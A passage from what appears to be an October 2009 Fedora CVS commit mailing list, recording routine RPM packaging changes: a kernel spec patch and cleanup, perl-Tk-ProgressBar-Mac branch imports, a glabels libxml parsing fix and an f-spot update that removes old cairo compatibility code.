+# fix resource counter issues on *big* machines
+Patch14101: improve-resource-counter-scalability.patch
+
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1393,6 +1397,8 @@ ApplyPatch perf-make-perf-counter-h-avai
 # Fix 2.6.31 regression that caused device failures with ACPI enabled.
 ApplyPatch pci-increase-alignment-to-make-more-space.patch
 
+ApplyPatch improve-resource-counter-scalability.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2049,6 +2055,10 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 12 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.4-75.rc2
+- improve-resource-counter-scalability.patch: Fix scalability issues
+  on big machines, requested by prarit.
+
 * Mon Oct 12 2009 Jarod Wilson <jarod at redhat.com>
 - Fix irq status check bugs in lirc_ene0100
 



From hvad at fedoraproject.org  Mon Oct 12 20:38:35 2009
From: hvad at fedoraproject.org (david hannequin)
Date: Mon, 12 Oct 2009 20:38:35 +0000 (UTC)
Subject: rpms/perl-Tk-ProgressBar-Mac/F-10 import.log, NONE,
	1.1 perl-Tk-ProgressBar-Mac.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091012203835.2D1AF11C00DB@cvs1.fedora.phx.redhat.com>

Author: hvad

Update of /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11147/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Tk-ProgressBar-Mac.spec 
Log Message:



--- NEW FILE import.log ---
perl-Tk-ProgressBar-Mac-1_2-3_fc10:F-10:perl-Tk-ProgressBar-Mac-1.2-3.fc10.src.rpm:1255387066


--- NEW FILE perl-Tk-ProgressBar-Mac.spec ---
Name:           perl-Tk-ProgressBar-Mac
Version:        1.2
Release:        3%{?dist}
Summary:        Mac ProgressBar for Perl::Tk

Group:          Development/Libraries
License:        GPL+ or Artistic
URL:            http://search.cpan.org/dist/Tk-ProgressBar-Mac/
Source0:        http://cpan.org/modules/by-module/Tk/Tk-ProgressBar-Mac-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  perl(Tk) 
BuildRequires:  xorg-x11-server-Xvfb, xorg-x11-fonts-base
Requires:  perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This widget provides a dynamic image that looks just like
a Mac OS 9 progress bar.  Packed around it are four
Frames, north, south, east and west, within which you can
stuff additional widgets. For example, see how Tk::Copy::Mac
uses several Labels and a CollapsableFrame widget to create
a reasonable facsimile of a Macintosh copy dialog.


%prep
%setup -q -n Tk-ProgressBar-Mac-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make pure_install PERL_INSTALL_ROOT=%{buildroot}
find %{buildroot} -type f -name .packlist -exec rm -f {} ';'
find %{buildroot} -depth -type d -exec rmdir {} 2>/dev/null ';'
chmod -R u+w %{buildroot}/*

%check
# disabled by default because it needs an x screen
%{?_with_tests:make test}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README
%{perl_vendorlib}/Tk*
%{_mandir}/man3/Tk*.3*


%changelog
* Mon Sep 14 2009 David Hannequin <david.hannequin at gmail.com> 1.2-3
- Fix license 

* Tue May 30 2009 David Hannequin <david.hannequin at gmail.com> 1.2-2
- delete _xvfb
- modify man page

* Thu May 21 2009 David Hannequin <david.hannequin at gmail.com> 1.2-1
- First release.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 20:18:17 -0000	1.1
+++ .cvsignore	12 Oct 2009 20:38:33 -0000	1.2
@@ -0,0 +1 @@
+Tk-ProgressBar-Mac-1.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 20:18:18 -0000	1.1
+++ sources	12 Oct 2009 20:38:33 -0000	1.2
@@ -0,0 +1 @@
+38922bce1c20a3e098022c6f2787c633  Tk-ProgressBar-Mac-1.2.tar.gz



From hvad at fedoraproject.org  Mon Oct 12 20:40:44 2009
From: hvad at fedoraproject.org (david hannequin)
Date: Mon, 12 Oct 2009 20:40:44 +0000 (UTC)
Subject: rpms/perl-Tk-ProgressBar-Mac/F-11 import.log, NONE,
	1.1 perl-Tk-ProgressBar-Mac.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091012204044.BF3D111C02A1@cvs1.fedora.phx.redhat.com>

Author: hvad

Update of /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12116/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Tk-ProgressBar-Mac.spec 
Log Message:



--- NEW FILE import.log ---
perl-Tk-ProgressBar-Mac-1_2-3_fc10:F-11:perl-Tk-ProgressBar-Mac-1.2-3.fc10.src.rpm:1255387169


--- NEW FILE perl-Tk-ProgressBar-Mac.spec ---
Name:           perl-Tk-ProgressBar-Mac
Version:        1.2
Release:        3%{?dist}
Summary:        Mac ProgressBar for Perl::Tk

Group:          Development/Libraries
License:        GPL+ or Artistic
URL:            http://search.cpan.org/dist/Tk-ProgressBar-Mac/
Source0:        http://cpan.org/modules/by-module/Tk/Tk-ProgressBar-Mac-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  perl(Tk) 
BuildRequires:  xorg-x11-server-Xvfb, xorg-x11-fonts-base
Requires:  perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This widget provides a dynamic image that looks just like
a Mac OS 9 progress bar.  Packed around it are four
Frames, north, south, east and west, within which you can
stuff additional widgets. For example, see how Tk::Copy::Mac
uses several Labels and a CollapsableFrame widget to create
a reasonable facsimile of a Macintosh copy dialog.


%prep
%setup -q -n Tk-ProgressBar-Mac-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make pure_install PERL_INSTALL_ROOT=%{buildroot}
find %{buildroot} -type f -name .packlist -exec rm -f {} ';'
find %{buildroot} -depth -type d -exec rmdir {} 2>/dev/null ';'
chmod -R u+w %{buildroot}/*

%check
# disabled by default because it needs an x screen
%{?_with_tests:make test}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README
%{perl_vendorlib}/Tk*
%{_mandir}/man3/Tk*.3*


%changelog
* Mon Sep 14 2009 David Hannequin <david.hannequin at gmail.com> 1.2-3
- Fix license 

* Tue May 30 2009 David Hannequin <david.hannequin at gmail.com> 1.2-2
- delete _xvfb
- modify man page

* Thu May 21 2009 David Hannequin <david.hannequin at gmail.com> 1.2-1
- First release.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 20:18:17 -0000	1.1
+++ .cvsignore	12 Oct 2009 20:40:44 -0000	1.2
@@ -0,0 +1 @@
+Tk-ProgressBar-Mac-1.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 20:18:18 -0000	1.1
+++ sources	12 Oct 2009 20:40:44 -0000	1.2
@@ -0,0 +1 @@
+38922bce1c20a3e098022c6f2787c633  Tk-ProgressBar-Mac-1.2.tar.gz



From hvad at fedoraproject.org  Mon Oct 12 20:42:57 2009
From: hvad at fedoraproject.org (david hannequin)
Date: Mon, 12 Oct 2009 20:42:57 +0000 (UTC)
Subject: rpms/perl-Tk-ProgressBar-Mac/F-12 import.log, NONE,
	1.1 perl-Tk-ProgressBar-Mac.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091012204257.A2D0811C00DB@cvs1.fedora.phx.redhat.com>

Author: hvad

Update of /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12735/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Tk-ProgressBar-Mac.spec 
Log Message:



--- NEW FILE import.log ---
perl-Tk-ProgressBar-Mac-1_2-3_fc10:F-12:perl-Tk-ProgressBar-Mac-1.2-3.fc10.src.rpm:1255387318


--- NEW FILE perl-Tk-ProgressBar-Mac.spec ---
Name:           perl-Tk-ProgressBar-Mac
Version:        1.2
Release:        3%{?dist}
Summary:        Mac ProgressBar for Perl::Tk

Group:          Development/Libraries
License:        GPL+ or Artistic
URL:            http://search.cpan.org/dist/Tk-ProgressBar-Mac/
Source0:        http://cpan.org/modules/by-module/Tk/Tk-ProgressBar-Mac-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  perl(Tk) 
BuildRequires:  xorg-x11-server-Xvfb, xorg-x11-fonts-base
Requires:  perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This widget provides a dynamic image that looks just like
a Mac OS 9 progress bar.  Packed around it are four
Frames, north, south, east and west, within which you can
stuff additional widgets. For example, see how Tk::Copy::Mac
uses several Labels and a CollapsableFrame widget to create
a reasonable facsimile of a Macintosh copy dialog.


%prep
%setup -q -n Tk-ProgressBar-Mac-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make pure_install PERL_INSTALL_ROOT=%{buildroot}
find %{buildroot} -type f -name .packlist -exec rm -f {} ';'
find %{buildroot} -depth -type d -exec rmdir {} 2>/dev/null ';'
chmod -R u+w %{buildroot}/*

%check
# disabled by default because it needs an x screen
%{?_with_tests:make test}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README
%{perl_vendorlib}/Tk*
%{_mandir}/man3/Tk*.3*


%changelog
* Mon Sep 14 2009 David Hannequin <david.hannequin at gmail.com> 1.2-3
- Fix license 

* Tue May 30 2009 David Hannequin <david.hannequin at gmail.com> 1.2-2
- delete _xvfb
- modify man page

* Thu May 21 2009 David Hannequin <david.hannequin at gmail.com> 1.2-1
- First release.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 20:18:17 -0000	1.1
+++ .cvsignore	12 Oct 2009 20:42:57 -0000	1.2
@@ -0,0 +1 @@
+Tk-ProgressBar-Mac-1.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 20:18:18 -0000	1.1
+++ sources	12 Oct 2009 20:42:57 -0000	1.2
@@ -0,0 +1 @@
+38922bce1c20a3e098022c6f2787c633  Tk-ProgressBar-Mac-1.2.tar.gz



From airlied at fedoraproject.org  Mon Oct 12 20:44:20 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Mon, 12 Oct 2009 20:44:20 +0000 (UTC)
Subject: rpms/kernel/devel TODO, 1.66, 1.67 kernel.spec, 1.1823,
	1.1824 drm-vga-arb.patch, 1.7, NONE linux-2.6-vga-arb.patch, 1.7, NONE
Message-ID: <20091012204420.0F42C11C00DB@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12944

Modified Files:
	TODO kernel.spec 
Removed Files:
	drm-vga-arb.patch linux-2.6-vga-arb.patch 
Log Message:
* Tue Oct 13 2009 Dave Airlie <airlied at redhat.com>
- cleanup some of drm vga arb bits that are upstream



Index: TODO
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/TODO,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- TODO	3 Aug 2009 13:25:54 -0000	1.66
+++ TODO	12 Oct 2009 20:44:19 -0000	1.67
@@ -83,7 +83,3 @@
 
 * linux-2.6-kmemleak-improvements.patch
 	will go upstream for .31
-
-* linux-2.6-vga-arb.patch
-* drm-vga-arb.patch
-	will go upstream for .32


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1823
retrieving revision 1.1824
diff -u -p -r1.1823 -r1.1824
--- kernel.spec	12 Oct 2009 16:03:11 -0000	1.1823
+++ kernel.spec	12 Oct 2009 20:44:19 -0000	1.1824
@@ -673,7 +673,6 @@ Patch1551: linux-2.6-ksm-kvm.patch
 Patch1579: linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
 
 # nouveau + drm fixes
-Patch1812: drm-next.patch
 Patch1813: drm-radeon-pm.patch
 Patch1814: drm-nouveau.patch
 Patch1818: drm-i915-resume-force-mode.patch
@@ -683,9 +682,6 @@ Patch1821: drm-page-flip.patch
 Patch1824: drm-intel-next.patch
 Patch1825: drm-intel-pm.patch
 
-# vga arb
-Patch1901: drm-vga-arb.patch
-
 # kludge to make ich9 e1000 work
 Patch2000: linux-2.6-e1000-ich9.patch
 
@@ -1295,8 +1291,6 @@ ApplyPatch linux-2.6-virtio_blk-revert-Q
 ApplyPatch linux-2.6-e1000-ich9.patch
 
 # Nouveau DRM + drm fixes
-#ApplyPatch drm-next.patch
-
 #ApplyPatch drm-nouveau.patch
 # pm broken on my thinkpad t60p - airlied
 #ApplyPatch drm-radeon-pm.patch
@@ -1307,9 +1301,6 @@ ApplyOptionalPatch drm-intel-next.patch
 #this appears to be upstream - mjg59?
 #ApplyPatch drm-intel-pm.patch
 
-# VGA arb + drm
-#ApplyPatch drm-vga-arb.patch
-
 # linux1394 git patches
 #ApplyPatch linux-2.6-firewire-git-update.patch
 #ApplyOptionalPatch linux-2.6-firewire-git-pending.patch
@@ -1985,6 +1976,9 @@ fi
 # ##############################################################
 
 %changelog
+* Tue Oct 13 2009 Dave Airlie <airlied at redhat.com>
+- cleanup some of drm vga arb bits that are upstream
+
 * Mon Oct 12 2009 Jarod Wilson <jarod at redhat.com>
 - Merge lirc compile fixes into lirc patch
 - Refresh lirc patch with additional irq handling fixage


--- drm-vga-arb.patch DELETED ---


--- linux-2.6-vga-arb.patch DELETED ---



From hvad at fedoraproject.org  Mon Oct 12 20:45:45 2009
From: hvad at fedoraproject.org (david hannequin)
Date: Mon, 12 Oct 2009 20:45:45 +0000 (UTC)
Subject: rpms/perl-Tk-ProgressBar-Mac/devel import.log, NONE,
	1.1 perl-Tk-ProgressBar-Mac.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091012204545.3FE7311C00DB@cvs1.fedora.phx.redhat.com>

Author: hvad

Update of /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13230/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Tk-ProgressBar-Mac.spec 
Log Message:



--- NEW FILE import.log ---
perl-Tk-ProgressBar-Mac-1_2-3_fc10:HEAD:perl-Tk-ProgressBar-Mac-1.2-3.fc10.src.rpm:1255387433


--- NEW FILE perl-Tk-ProgressBar-Mac.spec ---
Name:           perl-Tk-ProgressBar-Mac
Version:        1.2
Release:        3%{?dist}
Summary:        Mac ProgressBar for Perl::Tk

Group:          Development/Libraries
License:        GPL+ or Artistic
URL:            http://search.cpan.org/dist/Tk-ProgressBar-Mac/
Source0:        http://cpan.org/modules/by-module/Tk/Tk-ProgressBar-Mac-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  perl(Tk) 
BuildRequires:  xorg-x11-server-Xvfb, xorg-x11-fonts-base
Requires:  perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This widget provides a dynamic image that looks just like
a Mac OS 9 progress bar.  Packed around it are four
Frames, north, south, east and west, within which you can
stuff additional widgets. For example, see how Tk::Copy::Mac
uses several Labels and a CollapsableFrame widget to create
a reasonable facsimile of a Macintosh copy dialog.


%prep
%setup -q -n Tk-ProgressBar-Mac-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make pure_install PERL_INSTALL_ROOT=%{buildroot}
find %{buildroot} -type f -name .packlist -exec rm -f {} ';'
find %{buildroot} -depth -type d -exec rmdir {} 2>/dev/null ';'
chmod -R u+w %{buildroot}/*

%check
# disabled by default because it needs an x screen
%{?_with_tests:make test}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README
%{perl_vendorlib}/Tk*
%{_mandir}/man3/Tk*.3*


%changelog
* Mon Sep 14 2009 David Hannequin <david.hannequin at gmail.com> 1.2-3
- Fix license 

* Tue May 30 2009 David Hannequin <david.hannequin at gmail.com> 1.2-2
- delete _xvfb
- modify man page

* Thu May 21 2009 David Hannequin <david.hannequin at gmail.com> 1.2-1
- First release.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 20:18:17 -0000	1.1
+++ .cvsignore	12 Oct 2009 20:45:44 -0000	1.2
@@ -0,0 +1 @@
+Tk-ProgressBar-Mac-1.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Tk-ProgressBar-Mac/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 20:18:18 -0000	1.1
+++ sources	12 Oct 2009 20:45:45 -0000	1.2
@@ -0,0 +1 @@
+38922bce1c20a3e098022c6f2787c633  Tk-ProgressBar-Mac-1.2.tar.gz



From pgordon at fedoraproject.org  Mon Oct 12 21:04:58 2009
From: pgordon at fedoraproject.org (Peter Gordon)
Date: Mon, 12 Oct 2009 21:04:58 +0000 (UTC)
Subject: rpms/glabels/devel glabels-libxml-XML_PARSE_HUGE.patch, NONE,
	1.1 glabels.spec, 1.24, 1.25
Message-ID: <20091012210458.CEEE811C00DB@cvs1.fedora.phx.redhat.com>

Author: pgordon

Update of /cvs/pkgs/rpms/glabels/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17385

Modified Files:
	glabels.spec 
Added Files:
	glabels-libxml-XML_PARSE_HUGE.patch 
Log Message:
Fix bug 528352 (glabels can't open saved projects) from recent libxml behavior changes. Add backported patch from upstream git. (Thanks, Ralf.)

glabels-libxml-XML_PARSE_HUGE.patch:
 xml-label.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE glabels-libxml-XML_PARSE_HUGE.patch ---
diff -Naur glabels-2.2.5.orig/src/xml-label.c glabels-2.2.5/src/xml-label.c
--- glabels-2.2.5.orig/src/xml-label.c	2008-03-25 02:33:04.000000000 +0100
+++ glabels-2.2.5/src/xml-label.c	2009-10-12 08:09:32.000000000 +0200
@@ -184,7 +184,7 @@
 	filename = g_filename_from_utf8 (utf8_filename, -1, NULL, NULL, NULL);
 	g_return_val_if_fail (filename, NULL);
 
-	doc = xmlParseFile (filename);
+        doc = xmlReadFile (filename, NULL, XML_PARSE_HUGE);
 	if (!doc) {
 		g_message (_("xmlParseFile error"));
 		*status = XML_LABEL_ERROR_OPEN_PARSE;
@@ -221,7 +221,7 @@
 
 	gl_debug (DEBUG_XML, "START");
 
-	doc = xmlParseDoc ((xmlChar *) buffer);
+        doc = xmlReadDoc ((xmlChar *) buffer, NULL, NULL, XML_PARSE_HUGE);
 	if (!doc) {
 		g_message (_("xmlParseFile error"));
 		*status = XML_LABEL_ERROR_OPEN_PARSE;


Index: glabels.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glabels/devel/glabels.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- glabels.spec	25 Jul 2009 00:17:10 -0000	1.24
+++ glabels.spec	12 Oct 2009 21:04:57 -0000	1.25
@@ -1,6 +1,6 @@
 Name:		glabels
 Version:	2.2.5
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	A program for creating labels and business cards for GNOME
 
 Group:		Applications/Publishing
@@ -9,6 +9,8 @@ URL:		http://glabels.sf.net
 
 Source0:	http://dl.sf.net/%{name}/%{name}-%{version}.tar.gz
 
+Patch0: 	%{name}-libxml-XML_PARSE_HUGE.patch
+
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	desktop-file-utils
@@ -74,6 +76,7 @@ This package contains the runtime docume
 
 %prep
 %setup -q
+%patch0 -p1 -b .libxml-XML_PARSE_HUGE
 
 
 %build
@@ -159,6 +162,13 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 12 2009 Peter Gordon <peter at thecodergeek.com> - 2.2.5-2
+- Apply backported patch from upstream git as a fix for recent changes in
+  libxml behavior:
+  + libxml-XML_PARSE_HUGE.patch
+- Thanks to Ralf Corsepius for the bug report and patch.
+- Resolves: #528352 (glabels can't read saved projects)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.5-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From chkr at fedoraproject.org  Mon Oct 12 21:26:38 2009
From: chkr at fedoraproject.org (chkr)
Date: Mon, 12 Oct 2009 21:26:38 +0000 (UTC)
Subject: rpms/f-spot/F-12 0001-remove-support-for-older-cairo-version.patch, 
	NONE, 1.1 .cvsignore, 1.23, 1.24 f-spot.spec, 1.94, 1.95 sources,
	1.23, 1.24 0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch,
	1.1, NONE
Message-ID: <20091012212639.0BEC511C00DB@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/f-spot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21784

Modified Files:
	.cvsignore f-spot.spec sources 
Added Files:
	0001-remove-support-for-older-cairo-version.patch 
Removed Files:
	0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch 
Log Message:
* Sun Oct 04 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-1
- Update to 0.6.1.3 (BZ 526217)
- Remove two upstreamed patches
- Use a slightly different fix for the cairo-devel dependency 
  (suggested by upstream)


0001-remove-support-for-older-cairo-version.patch:
 configure.ac     |    3 ++-
 src/SoftFocus.cs |   21 ++++-----------------
 2 files changed, 6 insertions(+), 18 deletions(-)

--- NEW FILE 0001-remove-support-for-older-cairo-version.patch ---
>From 9c61aa6f334a94f077e63e3b82f1aeaa457dfe8a Mon Sep 17 00:00:00 2001
From: Christian Krause <chkr at plauener.de>
Date: Sun, 4 Oct 2009 20:30:18 +0200
Subject: [PATCH] remove support for older cairo version

- remove DllImport of cairo since it is not needed anymore
- remove special code for older cairo version
- check for cairo >= 1.4.0 in configure.ac
---
 configure.ac     |    3 ++-
 src/SoftFocus.cs |   20 ++++----------------
 2 files changed, 6 insertions(+), 17 deletions(-)

diff --git a/configure.ac b/configure.ac
index 22fcd86..7f82d8b 100644
--- a/configure.ac
+++ b/configure.ac
@@ -69,11 +69,12 @@ BEAGLE_REQUIRED=0.3.0
 NDESK_DBUS_REQUIRED=0.4.2
 NDESK_DBUS_GLIB_REQUIRED=0.3.0
 MONO_CAIRO_REQUIRED=1.2.4
+CAIRO_REQUIRED=1.4.0
 dnl -- this check is 	
 LCMS_REQUIRED=1.12
 dnl -- LIBGPHOTO2_REQUIRED=2.1.4
 
-PKG_CHECK_MODULES(F, libgnome-2.0 >= $LIBGNOME_REQUIRED libgnomeui-2.0 >= $LIBGNOMEUI_REQUIRED libexif >= $LIBEXIF_REQUIRED_MIN libexif < $LIBEXIF_REQUIRED_MAX gtk-sharp-2.0 >= $GTKSHARP_REQUIRED glib-sharp-2.0 >= $GTKSHARP_REQUIRED glade-sharp-2.0 >= $GTKSHARP_REQUIRED gnome-vfs-sharp-2.0 >= $GTKSHARP_REQUIRED gtk+-2.0 >= $GTK_REQUIRED mono >= $MONO_REQUIRED mono-cairo >= $MONO_CAIRO_REQUIRED)
+PKG_CHECK_MODULES(F, libgnome-2.0 >= $LIBGNOME_REQUIRED libgnomeui-2.0 >= $LIBGNOMEUI_REQUIRED libexif >= $LIBEXIF_REQUIRED_MIN libexif < $LIBEXIF_REQUIRED_MAX gtk-sharp-2.0 >= $GTKSHARP_REQUIRED glib-sharp-2.0 >= $GTKSHARP_REQUIRED glade-sharp-2.0 >= $GTKSHARP_REQUIRED gnome-vfs-sharp-2.0 >= $GTKSHARP_REQUIRED gtk+-2.0 >= $GTK_REQUIRED mono >= $MONO_REQUIRED mono-cairo >= $MONO_CAIRO_REQUIRED cairo >= $CAIRO_REQUIRED)
 AC_SUBST(F_CFLAGS)
 AC_SUBST(F_LIBS)
 
diff --git a/src/SoftFocus.cs b/src/SoftFocus.cs
index 86f2918..7291d5a 100644
--- a/src/SoftFocus.cs
+++ b/src/SoftFocus.cs
@@ -14,9 +14,6 @@ namespace FSpot.Widgets {
 
 	public class SoftFocus {
 
-		[DllImport ("cairo")]
-		internal static extern int cairo_version ();
-
 		ImageInfo info;
 		double radius;
 		double amount;
@@ -107,20 +104,11 @@ namespace FSpot.Widgets {
 
 			RadialGradient circle;
 
-			// FIXME ugh cairo 1.0.2 is so broken why are we still shipping it.
-			if (cairo_version () > (1 * 10000 + 2 * 100 + 0)) {
-				circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max * .7,
-							     center.X * scale, center.Y * scale, radius * max + max * .2);
-
-				circle.AddColorStop (0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
-				circle.AddColorStop (1.0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
-			} else {
-				circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max + max * .2,
-							     center.X * scale, center.Y * scale, radius * max * .7);
+			circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max * .7,
+						     center.X * scale, center.Y * scale, radius * max + max * .2);
 
-				circle.AddColorStop (1.0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
-				circle.AddColorStop (0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
-			}
+			circle.AddColorStop (0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
+			circle.AddColorStop (1.0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
 			return circle;
 		}
 
-- 
1.6.0.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-12/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	17 Sep 2009 19:24:50 -0000	1.23
+++ .cvsignore	12 Oct 2009 21:26:32 -0000	1.24
@@ -1 +1 @@
-f-spot-0.6.1.2.tar.bz2
+f-spot-0.6.1.3.tar.bz2


Index: f-spot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-12/f-spot.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- f-spot.spec	30 Sep 2009 22:14:36 -0000	1.94
+++ f-spot.spec	12 Oct 2009 21:26:33 -0000	1.95
@@ -1,24 +1,18 @@
 Name:           f-spot
-Version:        0.6.1.2
-Release:        3%{?dist}
+Version:        0.6.1.3
+Release:        1%{?dist}
 Summary:        Photo management application
 
 Group:          Applications/Multimedia
 License:        GPLv2+ and LGPLv2+ and CPL and MIT
 URL:            http://f-spot.org/
 Source0:        http://ftp.gnome.org/pub/gnome/sources/f-spot/0.6/f-spot-%{version}.tar.bz2
-# http://bugzilla.gnome.org/show_bug.cgi?id=593243
-Patch1:         0001-fix-parallel-build.patch
 # Use system mono-addins
 Patch2:         0001-use-system-Mono.Addins-if-available.patch
 # unmount cameras before importing
 Patch3:         0002-enhance-the-f-spot-import-script.patch
-# upstream patch to fix crash in facebook exporter:
-# commit 807dab4344ecdadc7e46793369821de8b49692e5
-# commit b87604bc9782bf92f053aaf3ceb739a32f44ea13
-Patch4:         facebook-exporter-duplicate-label-fix.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=596922
-Patch5:         0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch
+Patch5:         0001-remove-support-for-older-cairo-version.patch 
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -69,11 +63,9 @@ photo collection in a slideshow as a scr
 
 %prep
 %setup -q
-%patch1 -p1 -b .parallel-build
 %patch2 -p1 -b .link-system-mono-addins
 %patch3 -p1 -b .gvfs-gphoto
-%patch4 -p1 -b .faceboox-exporter-crash
-%patch5 -p1 -b .cairo-fix
+%patch5 -p1 -F 2 -b .cairo-fix
 
 %build
